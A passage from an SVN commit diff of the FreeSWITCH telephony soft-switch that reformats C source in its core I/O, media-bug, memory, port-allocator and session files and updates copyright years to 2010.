+ switch_channel_get_name(session->channel));
switch_cond_next();
*frame = &runtime.dummy_cng_frame;
return SWITCH_STATUS_SUCCESS;
@@ -128,7 +129,8 @@
if (switch_channel_down(session->channel)) {
*frame = NULL;
- status = SWITCH_STATUS_FALSE; goto even_more_done;
+ status = SWITCH_STATUS_FALSE;
+ goto even_more_done;
}
@@ -140,8 +142,7 @@
if (session->read_codec && !session->track_id && session->track_duration) {
if (session->read_frame_count == 0) {
switch_event_t *event;
- session->read_frame_count = (session->read_impl.actual_samples_per_second /
- session->read_impl.samples_per_packet) * session->track_duration;
+ session->read_frame_count = (session->read_impl.actual_samples_per_second / session->read_impl.samples_per_packet) * session->track_duration;
switch_event_create(&event, SWITCH_EVENT_SESSION_HEARTBEAT);
switch_channel_event_set_data(session->channel, event);
@@ -168,12 +169,12 @@
}
}
}
-
+
if (!SWITCH_READ_ACCEPTABLE(status) || !session->read_codec || !session->read_codec->mutex) {
*frame = NULL;
return SWITCH_STATUS_FALSE;
}
-
+
switch_mutex_lock(session->codec_read_mutex);
switch_mutex_lock(session->read_codec->mutex);
}
@@ -271,10 +272,9 @@
switch_mutex_lock(session->resample_mutex);
status = switch_resample_create(&session->read_resampler,
read_frame->codec->implementation->actual_samples_per_second,
- session->read_impl.actual_samples_per_second,
- session->read_impl.decoded_bytes_per_packet,
- SWITCH_RESAMPLE_QUALITY, 1);
-
+ session->read_impl.actual_samples_per_second,
+ session->read_impl.decoded_bytes_per_packet, SWITCH_RESAMPLE_QUALITY, 1);
+
switch_mutex_unlock(session->resample_mutex);
if (status != SWITCH_STATUS_SUCCESS) {
@@ -324,7 +324,8 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec init error!\n");
goto done;
default:
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec %s decoder error!\n", session->read_codec->codec_interface->interface_name);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec %s decoder error!\n",
+ session->read_codec->codec_interface->interface_name);
goto done;
}
}
@@ -334,7 +335,7 @@
switch_bool_t ok = SWITCH_TRUE;
int prune = 0;
switch_thread_rwlock_rdlock(session->bug_rwlock);
-
+
for (bp = session->bugs; bp; bp = bp->next) {
if (!switch_channel_test_flag(session->channel, CF_ANSWERED) && switch_core_media_bug_test_flag(bp, SMBF_ANSWER_REQ)) {
continue;
@@ -352,7 +353,7 @@
}
switch_mutex_unlock(bp->read_mutex);
}
-
+
if (ok && switch_test_flag(bp, SMBF_READ_REPLACE)) {
do_bugs = 0;
if (bp->callback) {
@@ -363,13 +364,13 @@
}
}
}
-
+
if ((bp->stop_time && bp->stop_time <= switch_epoch_time_now(NULL)) || ok == SWITCH_FALSE) {
switch_set_flag(bp, SMBF_PRUNE);
prune++;
}
-
-
+
+
}
switch_thread_rwlock_unlock(session->bug_rwlock);
if (prune) {
@@ -385,11 +386,11 @@
if (session->read_resampler) {
short *data = read_frame->data;
switch_mutex_lock(session->resample_mutex);
- switch_resample_process(session->read_resampler, data, (int)read_frame->datalen / 2);
+ switch_resample_process(session->read_resampler, data, (int) read_frame->datalen / 2);
memcpy(data, session->read_resampler->to, session->read_resampler->to_len * 2);
read_frame->samples = session->read_resampler->to_len;
- read_frame->datalen = session->read_resampler->to_len * 2;
- read_frame->rate = session->read_resampler->to_rate;
+ read_frame->datalen = session->read_resampler->to_len * 2;
+ read_frame->rate = session->read_resampler->to_rate;
switch_mutex_unlock(session->resample_mutex);
}
@@ -399,7 +400,7 @@
} else {
if (!session->raw_read_buffer) {
switch_size_t bytes = session->read_impl.decoded_bytes_per_packet;
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Engaging Read Buffer at %u bytes vs %u\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Engaging Read Buffer at %u bytes vs %u\n",
(uint32_t) bytes, (uint32_t) (*frame)->datalen);
switch_buffer_create_dynamic(&session->raw_read_buffer, bytes * SWITCH_BUFFER_BLOCK_FRAMES, bytes * SWITCH_BUFFER_START_FRAMES, 0);
}
@@ -468,8 +469,8 @@
case SWITCH_STATUS_NOT_INITALIZED:
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec init error!\n");
*frame = NULL;
- status = SWITCH_STATUS_GENERR;
- break;
+ status = SWITCH_STATUS_GENERR;
+ break;
default:
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec %s encoder error!\n",
session->read_codec->codec_interface->interface_name);
@@ -518,7 +519,7 @@
if (ok == SWITCH_FALSE) {
switch_set_flag(bp, SMBF_PRUNE);
- prune++;
+ prune++;
}
}
switch_thread_rwlock_unlock(session->bug_rwlock);
@@ -581,7 +582,7 @@
}
return SWITCH_STATUS_SUCCESS;
}
-
+
if (!(session->write_codec && switch_core_codec_ready(session->write_codec)) && !pass_cng) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "%s has no write codec.\n", switch_channel_get_name(session->channel));
return SWITCH_STATUS_FALSE;
@@ -602,19 +603,19 @@
switch_assert(frame->codec != NULL);
switch_assert(frame->codec->implementation != NULL);
- switch_mutex_lock(session->codec_write_mutex);
+ switch_mutex_lock(session->codec_write_mutex);
- if (!(session->write_codec && session->write_codec->mutex && frame->codec) ||
+ if (!(session->write_codec && session->write_codec->mutex && frame->codec) ||
!switch_channel_ready(session->channel) || !switch_channel_media_ready(session->channel)) {
- switch_mutex_unlock(session->codec_write_mutex);
+ switch_mutex_unlock(session->codec_write_mutex);
return SWITCH_STATUS_FALSE;
}
switch_mutex_lock(session->write_codec->mutex);
switch_mutex_lock(frame->codec->mutex);
-
+
if ((session->write_codec && frame->codec && session->write_codec->implementation != frame->codec->implementation)) {
- if (session->write_impl.codec_id == frame->codec->implementation->codec_id ||
+ if (session->write_impl.codec_id == frame->codec->implementation->codec_id ||
session->write_impl.microseconds_per_packet != frame->codec->implementation->microseconds_per_packet) {
ptime_mismatch = TRUE;
if (switch_test_flag(frame->codec, SWITCH_CODEC_FLAG_PASSTHROUGH) || switch_test_flag(session->read_codec, SWITCH_CODEC_FLAG_PASSTHROUGH)) {
@@ -646,11 +647,11 @@
}
if (!switch_test_flag(session, SSF_WARN_TRANSCODE)) {
- switch_core_session_message_t msg = { 0 };
+ switch_core_session_message_t msg = { 0 };
- msg.message_id = SWITCH_MESSAGE_INDICATE_TRANSCODING_NECESSARY;
- switch_core_session_receive_message(session, &msg);
- switch_set_flag(session, SSF_WARN_TRANSCODE);
+ msg.message_id = SWITCH_MESSAGE_INDICATE_TRANSCODING_NECESSARY;
+ switch_core_session_receive_message(session, &msg);
+ switch_set_flag(session, SSF_WARN_TRANSCODE);
}
if (frame->codec) {
@@ -661,10 +662,10 @@
frame->datalen,
session->write_impl.actual_samples_per_second,
session->raw_write_frame.data, &session->raw_write_frame.datalen, &session->raw_write_frame.rate, &flag);
-
-
-
+
+
+
if (do_resample && status == SWITCH_STATUS_SUCCESS) {
status = SWITCH_STATUS_RESAMPLE;
}
@@ -678,11 +679,10 @@
switch_mutex_lock(session->resample_mutex);
status = switch_resample_create(&session->write_resampler,
frame->codec->implementation->actual_samples_per_second,
- session->write_impl.actual_samples_per_second,
- session->write_impl.decoded_bytes_per_packet,
- SWITCH_RESAMPLE_QUALITY, 1);
-
-
+ session->write_impl.actual_samples_per_second,
+ session->write_impl.decoded_bytes_per_packet, SWITCH_RESAMPLE_QUALITY, 1);
+
+
switch_mutex_unlock(session->resample_mutex);
if (status != SWITCH_STATUS_SUCCESS) {
goto done;
@@ -700,7 +700,8 @@
write_frame = &session->raw_write_frame;
break;
case SWITCH_STATUS_BREAK:
- status = SWITCH_STATUS_SUCCESS; goto error;
+ status = SWITCH_STATUS_SUCCESS;
+ goto error;
case SWITCH_STATUS_NOOP:
if (session->write_resampler) {
switch_mutex_lock(session->resample_mutex);
@@ -718,39 +719,41 @@
}
if (ptime_mismatch) {
status = perform_write(session, frame, flags, stream_id);
- status = SWITCH_STATUS_SUCCESS; goto error;
+ status = SWITCH_STATUS_SUCCESS;
+ goto error;
}
-
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec %s decoder error!\n", frame->codec->codec_interface->interface_name);
+
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec %s decoder error!\n",
+ frame->codec->codec_interface->interface_name);
goto error;
}
}
-
+
if (session->write_resampler) {
short *data = write_frame->data;
switch_mutex_lock(session->resample_mutex);
if (session->write_resampler) {
-
+
switch_resample_process(session->write_resampler, data, write_frame->datalen / 2);
-
+
memcpy(data, session->write_resampler->to, session->write_resampler->to_len * 2);
-
+
write_frame->samples = session->write_resampler->to_len;
-
+
write_frame->datalen = write_frame->samples * 2;
-
+
write_frame->rate = session->write_resampler->to_rate;
-
+
did_write_resample = 1;
}
switch_mutex_unlock(session->resample_mutex);
}
-
+
if (session->bugs && !switch_channel_test_flag(session->channel, CF_PAUSE_BUGS)) {
switch_media_bug_t *bp;
int prune = 0;
@@ -820,10 +823,10 @@
perfect = TRUE;
}
-
+
if (perfect) {
-
+
if (write_frame->datalen < session->write_impl.decoded_bytes_per_packet) {
memset(write_frame->data, 255, session->write_impl.decoded_bytes_per_packet - write_frame->datalen);
write_frame->datalen = session->write_impl.decoded_bytes_per_packet;
@@ -840,8 +843,8 @@
session->enc_write_frame.data, &session->enc_write_frame.datalen, &session->enc_write_frame.rate, &flag);
-
+
switch (status) {
case SWITCH_STATUS_RESAMPLE:
resample++;
@@ -874,7 +877,7 @@
case SWITCH_STATUS_NOT_INITALIZED:
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec init error!\n");
write_frame = NULL;
- goto error;
+ goto error;
default:
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec %s encoder error!\n",
session->read_codec->codec_interface->interface_name);
@@ -900,15 +903,16 @@
goto error;
}
}
-
+
if (!(switch_buffer_write(session->raw_write_buffer, write_frame->data, write_frame->datalen))) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Write Buffer %u bytes Failed!\n", write_frame->datalen);
- status = SWITCH_STATUS_MEMERR; goto error;
+ status = SWITCH_STATUS_MEMERR;
+ goto error;
}
-
+
status = SWITCH_STATUS_SUCCESS;
- while(switch_buffer_inuse(session->raw_write_buffer) >= session->write_impl.decoded_bytes_per_packet) {
+ while (switch_buffer_inuse(session->raw_write_buffer) >= session->write_impl.decoded_bytes_per_packet) {
int rate;
if (switch_channel_down(session->channel) || !session->raw_write_buffer) {
@@ -918,29 +922,27 @@
switch_buffer_read(session->raw_write_buffer, session->raw_write_frame.data, session->write_impl.decoded_bytes_per_packet)) == 0) {
goto error;
}
-
+
enc_frame = &session->raw_write_frame;
session->raw_write_frame.rate = session->write_impl.actual_samples_per_second;
session->enc_write_frame.datalen = session->enc_write_frame.buflen;
session->enc_write_frame.timestamp = 0;
-
-
+
+
if (frame->codec && frame->codec->implementation && switch_core_codec_ready(frame->codec)) {
rate = frame->codec->implementation->actual_samples_per_second;
} else {
rate = session->write_impl.actual_samples_per_second;
}
-
+
status = switch_core_codec_encode(session->write_codec,
frame->codec,
enc_frame->data,
enc_frame->datalen,
rate,
- session->enc_write_frame.data,
- &session->enc_write_frame.datalen,
- &session->enc_write_frame.rate, &flag);
+ session->enc_write_frame.data, &session->enc_write_frame.datalen, &session->enc_write_frame.rate, &flag);
-
+
switch (status) {
case SWITCH_STATUS_RESAMPLE:
resample++;
@@ -955,14 +957,13 @@
if (!session->write_resampler) {
status = switch_resample_create(&session->write_resampler,
frame->codec->implementation->actual_samples_per_second,
- session->write_impl.actual_samples_per_second,
- session->write_impl.decoded_bytes_per_packet,
- SWITCH_RESAMPLE_QUALITY, 1);
+ session->write_impl.actual_samples_per_second,
+ session->write_impl.decoded_bytes_per_packet, SWITCH_RESAMPLE_QUALITY, 1);
}
switch_mutex_unlock(session->resample_mutex);
-
+
if (status != SWITCH_STATUS_SUCCESS) {
goto done;
}
@@ -1021,7 +1022,7 @@
if (flag & SFF_CNG) {
switch_set_flag(write_frame, SFF_CNG);
}
-
+
if (ptime_mismatch || resample) {
write_frame->timestamp = 0;
}
@@ -1031,27 +1032,27 @@
}
}
-
+
goto error;
}
}
-
-
- done:
+
+ done:
+
if (ptime_mismatch || resample) {
write_frame->timestamp = 0;
}
if (do_write) {
- status = perform_write(session, write_frame, flags, stream_id);
+ status = perform_write(session, write_frame, flags, stream_id);
}
-
- error:
+ error:
+
switch_mutex_unlock(session->write_codec->mutex);
switch_mutex_unlock(frame->codec->mutex);
switch_mutex_unlock(session->codec_write_mutex);
@@ -1073,8 +1074,8 @@
switch_io_event_hook_kill_channel_t *ptr;
switch_status_t status = SWITCH_STATUS_FALSE;
- switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_core_session_get_uuid(session), SWITCH_LOG_DEBUG, "Send signal %s [%s]\n", switch_channel_get_name(session->channel),
- SIG_NAMES[sig]);
+ switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_core_session_get_uuid(session), SWITCH_LOG_DEBUG, "Send signal %s [%s]\n",
+ switch_channel_get_name(session->channel), SIG_NAMES[sig]);
if (session->endpoint_interface->io_routines->kill_channel) {
if ((status = session->endpoint_interface->io_routines->kill_channel(session, sig)) == SWITCH_STATUS_SUCCESS) {
@@ -1230,7 +1231,7 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s send dtmf\ndigit=%c ms=%u samples=%u\n",
switch_channel_get_name(session->channel), dtmf.digit, dur, dtmf.duration);
sent++;
- dur_total += dtmf.duration + 2000; /* account for 250ms pause */
+ dur_total += dtmf.duration + 2000; /* account for 250ms pause */
}
}
}
Modified: freeswitch/trunk/src/switch_core_media_bug.c (16578 => 16579)
--- freeswitch/trunk/src/switch_core_media_bug.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_media_bug.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -139,7 +139,7 @@
size_t rlen = 0;
size_t wlen = 0;
uint32_t blen;
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
int16_t *tp;
switch_core_session_get_read_impl(bug->session, &read_impl);
@@ -147,12 +147,14 @@
bytes = read_impl.decoded_bytes_per_packet;
if (frame->buflen < bytes) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_ERROR, "%s frame buffer too small!\n", switch_channel_get_name(bug->session->channel));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_ERROR, "%s frame buffer too small!\n",
+ switch_channel_get_name(bug->session->channel));
return SWITCH_STATUS_FALSE;
}
-
+
if (!(bug->raw_read_buffer && (bug->raw_write_buffer || !switch_test_flag(bug, SMBF_WRITE_STREAM)))) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_ERROR, "%s Buffer Error\n", switch_channel_get_name(bug->session->channel));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_ERROR, "%s Buffer Error\n",
+ switch_channel_get_name(bug->session->channel));
return SWITCH_STATUS_FALSE;
}
@@ -167,14 +169,14 @@
frame->datalen = (uint32_t) switch_buffer_read(bug->raw_read_buffer, frame->data, bytes);
ttl += frame->datalen;
switch_mutex_unlock(bug->read_mutex);
-
+
if (switch_test_flag(bug, SMBF_WRITE_STREAM)) {
switch_assert(bug->raw_write_buffer);
switch_mutex_lock(bug->write_mutex);
datalen = (uint32_t) switch_buffer_read(bug->raw_write_buffer, bug->data, bytes);
ttl += datalen;
if (fill && datalen < bytes) {
- memset(((unsigned char *)bug->data) + datalen, 0, bytes - datalen);
+ memset(((unsigned char *) bug->data) + datalen, 0, bytes - datalen);
datalen = bytes;
}
switch_mutex_unlock(bug->write_mutex);
@@ -194,7 +196,7 @@
frame->codec = NULL;
return SWITCH_STATUS_FALSE;
}
-
+
if (switch_test_flag(bug, SMBF_STEREO)) {
for (x = 0; x < blen; x++) {
if (x < rlen) {
@@ -214,10 +216,10 @@
int32_t z = 0;
if (x < rlen) {
- z += (int32_t) *(fp + x);
+ z += (int32_t) * (fp + x);
}
if (x < wlen) {
- z += (int32_t) *(dp + x);
+ z += (int32_t) * (dp + x);
}
switch_normalize_to_16bit(z);
*(fp + x) = (int16_t) z / 2;
@@ -232,7 +234,7 @@
frame->samples = bytes / sizeof(int16_t);
frame->rate = read_impl.actual_samples_per_second;
frame->codec = NULL;
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -243,8 +245,8 @@
{
switch_media_bug_t *bug; //, *bp;
switch_size_t bytes;
- switch_codec_implementation_t read_impl = {0};
- switch_codec_implementation_t write_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
+ switch_codec_implementation_t write_impl = { 0 };
const char *p;
if (!switch_channel_media_ready(session->channel)) {
@@ -262,7 +264,6 @@
if ((p = switch_channel_get_variable(session->channel, "media_bug_answer_req")) && switch_true(p)) {
flags |= SMBF_ANSWER_REQ;
}
-
#if 0
if (flags & SMBF_WRITE_REPLACE) {
switch_thread_rwlock_wrlock(session->bug_rwlock);
@@ -325,7 +326,8 @@
switch_bool_t result = bug->callback(bug, bug->user_data, SWITCH_ABC_TYPE_INIT);
if (result == SWITCH_FALSE) {
switch_core_media_bug_destroy(bug);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error attaching BUG to %s\n", switch_channel_get_name(session->channel));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error attaching BUG to %s\n",
+ switch_channel_get_name(session->channel));
return SWITCH_STATUS_GENERR;
}
}
@@ -405,7 +407,8 @@
bp->ready = 0;
}
switch_core_media_bug_destroy(bp);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(*bug)), SWITCH_LOG_DEBUG, "Removing BUG from %s\n", switch_channel_get_name(bp->session->channel));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(*bug)), SWITCH_LOG_DEBUG, "Removing BUG from %s\n",
+ switch_channel_get_name(bp->session->channel));
*bug = NULL;
return SWITCH_STATUS_SUCCESS;
}
@@ -437,7 +440,7 @@
status = switch_core_media_bug_close(&bp);
}
}
-
+
if (!session->bugs && switch_core_codec_ready(&session->bug_codec)) {
switch_core_codec_destroy(&session->bug_codec);
memset(&session->bug_codec, 0, sizeof(session->bug_codec));
@@ -454,7 +457,7 @@
int ttl = 0;
- top:
+ top:
if (session->bugs) {
switch_thread_rwlock_wrlock(session->bug_rwlock);
@@ -477,7 +480,7 @@
goto top;
}
}
-
+
if (!session->bugs && switch_core_codec_ready(&session->bug_codec)) {
switch_core_codec_destroy(&session->bug_codec);
memset(&session->bug_codec, 0, sizeof(session->bug_codec));
@@ -494,7 +497,7 @@
if (session->bugs) {
switch_thread_rwlock_wrlock(session->bug_rwlock);
-
+
bp = session->bugs;
while (bp) {
cur = bp;
@@ -515,7 +518,7 @@
}
switch_thread_rwlock_unlock(session->bug_rwlock);
}
-
+
if (!session->bugs && switch_core_codec_ready(&session->bug_codec)) {
switch_core_codec_destroy(&session->bug_codec);
memset(&session->bug_codec, 0, sizeof(session->bug_codec));
Modified: freeswitch/trunk/src/switch_core_memory.c (16578 => 16579)
--- freeswitch/trunk/src/switch_core_memory.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_memory.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -80,7 +80,8 @@
#ifdef DEBUG_ALLOC
if (memory > 500)
- switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_core_session_get_uuid(session), SWITCH_LOG_CONSOLE, "Session Allocate %d\n", (int) memory);
+ switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_core_session_get_uuid(session), SWITCH_LOG_CONSOLE, "Session Allocate %d\n",
+ (int) memory);
#endif
ptr = apr_palloc(session->pool, memory);
@@ -142,7 +143,6 @@
if (zstr(todup)) {
return SWITCH_BLANK_STRING;
}
-
#ifdef LOCK_MORE
#ifdef USE_MEM_LOCK
switch_mutex_lock(memory_manager.mem_lock);
@@ -213,8 +213,8 @@
char *result;
va_start(ap, fmt);
result = switch_core_vsprintf(pool, fmt, ap);
- va_end(ap);
-
+ va_end(ap);
+
return result;
}
@@ -234,7 +234,6 @@
if (zstr(todup)) {
return SWITCH_BLANK_STRING;
}
-
#ifdef LOCK_MORE
#ifdef USE_MEM_LOCK
switch_mutex_lock(memory_manager.mem_lock);
@@ -242,16 +241,17 @@
#endif
-
+
#ifdef DEBUG_ALLOC
len = strlen(todup);
if (len > 500)
- switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_core_session_get_uuid(session), SWITCH_LOG_CONSOLE, "Sess Strdup Allocate %d\n", (int) len);
+ switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_core_session_get_uuid(session), SWITCH_LOG_CONSOLE, "Sess Strdup Allocate %d\n",
+ (int) len);
#endif
duped = apr_pstrdup(session->pool, todup);
switch_assert(duped != NULL);
-
+
#ifdef LOCK_MORE
#ifdef USE_MEM_LOCK
switch_mutex_unlock(memory_manager.mem_lock);
@@ -274,7 +274,6 @@
if (zstr(todup)) {
return SWITCH_BLANK_STRING;
}
-
#ifdef LOCK_MORE
#ifdef USE_MEM_LOCK
switch_mutex_lock(memory_manager.mem_lock);
@@ -362,7 +361,7 @@
apr_allocator_owner_set(my_allocator, *pool);
apr_pool_mutex_set(*pool, my_mutex);
-
+
#else
apr_pool_create(pool, NULL);
switch_assert(*pool != NULL);
@@ -390,7 +389,6 @@
if (switch_core_memory_pool_get_data(*pool, "_in_thread")) {
switch_cache_db_detach();
}
-
#ifdef DEBUG_ALLOC2
switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_CONSOLE, "Free Pool\n");
#endif
@@ -406,11 +404,11 @@
#else
if ((memory_manager.pool_thread_running != 1) || (switch_queue_push(memory_manager.pool_queue, *pool) != SWITCH_STATUS_SUCCESS)) {
#ifdef USE_MEM_LOCK
- switch_mutex_lock(memory_manager.mem_lock);
+ switch_mutex_lock(memory_manager.mem_lock);
#endif
apr_pool_destroy(*pool);
#ifdef USE_MEM_LOCK
- switch_mutex_unlock(memory_manager.mem_lock);
+ switch_mutex_unlock(memory_manager.mem_lock);
#endif
}
#endif
@@ -465,11 +463,11 @@
break;
}
#ifdef USE_MEM_LOCK
- switch_mutex_lock(memory_manager.mem_lock);
+ switch_mutex_lock(memory_manager.mem_lock);
#endif
apr_pool_destroy(pool);
#ifdef USE_MEM_LOCK
- switch_mutex_unlock(memory_manager.mem_lock);
+ switch_mutex_unlock(memory_manager.mem_lock);
#endif
}
#endif
@@ -496,20 +494,19 @@
done = 1;
break;
}
-
#if defined(PER_POOL_LOCK) || defined(DESTROY_POOLS)
#ifdef USE_MEM_LOCK
- switch_mutex_lock(memory_manager.mem_lock);
+ switch_mutex_lock(memory_manager.mem_lock);
#endif
apr_pool_destroy(pop);
#ifdef USE_MEM_LOCK
- switch_mutex_unlock(memory_manager.mem_lock);
+ switch_mutex_unlock(memory_manager.mem_lock);
#endif
#else
apr_pool_clear(pop);
if (switch_queue_trypush(memory_manager.pool_recycle_queue, pop) != SWITCH_STATUS_SUCCESS) {
#ifdef USE_MEM_LOCK
- switch_mutex_lock(memory_manager.mem_lock);
+ switch_mutex_lock(memory_manager.mem_lock);
#endif
apr_pool_destroy(pop);
#ifdef USE_MEM_LOCK
@@ -538,7 +535,7 @@
void *pop = NULL;
while (switch_queue_trypop(memory_manager.pool_queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
#ifdef USE_MEM_LOCK
- switch_mutex_lock(memory_manager.mem_lock);
+ switch_mutex_lock(memory_manager.mem_lock);
#endif
apr_pool_destroy(pop);
pop = NULL;
@@ -613,7 +610,7 @@
#ifdef INSTANTLY_DESTROY_POOLS
{
void *foo;
- foo = (void*)(intptr_t)pool_thread;
+ foo = (void *) (intptr_t) pool_thread;
}
#else
Modified: freeswitch/trunk/src/switch_core_port_allocator.c (16578 => 16579)
--- freeswitch/trunk/src/switch_core_port_allocator.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_port_allocator.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -118,23 +118,22 @@
int odd = switch_test_flag(alloc, SPF_ODD);
switch_mutex_lock(alloc->mutex);
- srand((unsigned)((unsigned)(intptr_t)port_ptr + (unsigned)(intptr_t)switch_thread_self() + switch_micro_time_now()));
+ srand((unsigned) ((unsigned) (intptr_t) port_ptr + (unsigned) (intptr_t) switch_thread_self() + switch_micro_time_now()));
while (alloc->track_used < alloc->track_len) {
uint32_t index;
uint32_t tries = 0;
-
+
/* randomly pick a port */
index = rand() % alloc->track_len;
/* if it is used walk up the list to find a free one */
- while (alloc->track[index] && tries < alloc->track_len)
- {
+ while (alloc->track[index] && tries < alloc->track_len) {
tries++;
if (alloc->track[index] < 0) {
alloc->track[index]++;
}
- if (++index >= alloc->track_len) {
+ if (++index >= alloc->track_len) {
index = 0;
}
}
Modified: freeswitch/trunk/src/switch_core_rwlock.c (16578 => 16579)
--- freeswitch/trunk/src/switch_core_rwlock.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_rwlock.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/switch_core_session.c (16578 => 16579)
--- freeswitch/trunk/src/switch_core_session.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_session.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -80,7 +80,7 @@
{
switch_core_session_t *session = NULL;
switch_status_t status;
-
+
if (uuid_str) {
switch_mutex_lock(runtime.session_hash_mutex);
if ((session = switch_core_hash_find(session_manager.session_table, uuid_str))) {
@@ -116,7 +116,7 @@
SWITCH_DECLARE(switch_status_t) switch_core_session_get_partner(switch_core_session_t *session, switch_core_session_t **partner)
{
const char *uuid;
-
+
if ((uuid = switch_channel_get_variable(session->channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
if ((*partner = switch_core_session_locate(uuid))) {
return SWITCH_STATUS_SUCCESS;
@@ -136,11 +136,12 @@
switch_memory_pool_t *pool;
switch_queue_t *queue;
void *pop;
-
+
switch_core_new_memory_pool(&pool);
switch_queue_create(&queue, 250000, pool);
- if (!var_val) return;
+ if (!var_val)
+ return;
switch_mutex_lock(runtime.session_hash_mutex);
for (hi = switch_hash_first(NULL, session_manager.session_table); hi; hi = switch_hash_next(hi)) {
@@ -159,9 +160,9 @@
}
switch_mutex_unlock(runtime.session_hash_mutex);
- while(switch_queue_trypop(queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
+ while (switch_queue_trypop(queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
char *uuid = (char *) pop;
-
+
if ((session = switch_core_session_locate(uuid))) {
switch_channel_hangup(session->channel, cause);
switch_core_session_rwunlock(session);
@@ -170,7 +171,7 @@
switch_core_destroy_memory_pool(&pool);
-}
+}
SWITCH_DECLARE(void) switch_core_session_hupall_endpoint(const switch_endpoint_interface_t *endpoint_interface, switch_call_cause_t cause)
{
@@ -180,7 +181,7 @@
switch_memory_pool_t *pool;
switch_queue_t *queue;
void *pop;
-
+
switch_core_new_memory_pool(&pool);
switch_queue_create(&queue, 250000, pool);
@@ -199,9 +200,9 @@
}
switch_mutex_unlock(runtime.session_hash_mutex);
- while(switch_queue_trypop(queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
